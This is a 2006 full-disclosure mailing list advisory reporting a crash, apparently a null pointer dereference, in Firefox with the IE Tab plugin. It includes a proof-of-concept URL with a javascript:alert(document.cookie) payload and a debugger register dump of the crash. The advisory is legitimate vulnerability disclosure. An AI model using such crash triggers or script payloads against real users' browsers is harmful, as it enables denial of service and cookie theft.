full-disclosure - Firefox (with IETab Plugin) Null Pointer Dereferences Bug

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Date: Thu May 18 04:03:31 2006
From: debasis.mohanty.listmails at gmail.com (Debasis Mohanty)
Subject: Firefox (with IETab Plugin) Null Pointer
	Dereferences Bug

Firefox (with IETab Plugin) Null Pointer Dereferences Bug
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Vendor: Mozilla
Product: FireFox with IE Tab

Bugzilla ID: 14151 (http://bugzilla.mozdev.org/show_bug.cgi?id=14151)
(Initially I incorrectly logged the bug under the wrong product,
thanks to Dan Veditz to log it under appropriate product on behalf of
me).

Tested On:
FireFox Version 1.5.0.3 + IE Tab Version 1.0.9 + Windows (XP / 2K)

Introduction:
IETab (https://addons.mozilla.org/firefox/1419/) is a recently
released (April 12, 2006) plugin for Firefox. It is used to browse IE
(only) specific sites under Firefox. Guess what ?? You can run
windowsupdate under FireFox
;-)

Bug Details: 	
Firefox with the IETab installed crashes when ietab plugin is unable
to handle specific javascripts. It seems to be a null pointer
dereference bug.
For more details refer the PoC section.

Proof-of-Concept:
Copy & paste the following URL to the Firefox addressbar and press enter -

chrome://ietab/content/reloaded.html?url=javascript:alert(document.cookie);

Note: This test will not work if IETab is not installed.

The Registers details after the crash:

(1e4.3e0): Access violation - code c0000005 (first chance) First
chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=019499b4 edx=00000000 esi=7712174b edi=00000000
eip=0192e7dc esp=0012eac4 ebp=00000000 iopl=0         nv up ei pl zr na po
nc
cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000
efl=00010246

npietab!NP_GetEntryPoints+0xb8ac:

0192e7dc 668b10           mov     dx,[eax]
ds:0023:00000000=????
0:000> g
(1e4.3e0): Access violation - code c0000005 (!!! second chance !!!)
eax=00000000 ebx=00000000 ecx=019499b4 edx=00000000 esi=7712174b
edi=00000000
eip=0192e7dc esp=0012eac4 ebp=00000000 iopl=0         nv up ei pl zr na po
nc
cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000
efl=00000246
npietab!NP_GetEntryPoints+0xb8ac:
0192e7dc 668b10           mov     dx,[eax]
ds:0023:00000000=????

For more vulnerabilities : http://hackingspirits.com/vuln-rnd/vuln-rnd.html

Credits:
Debasis Mohanty (aka Tr0y)
www.hackingspirits.com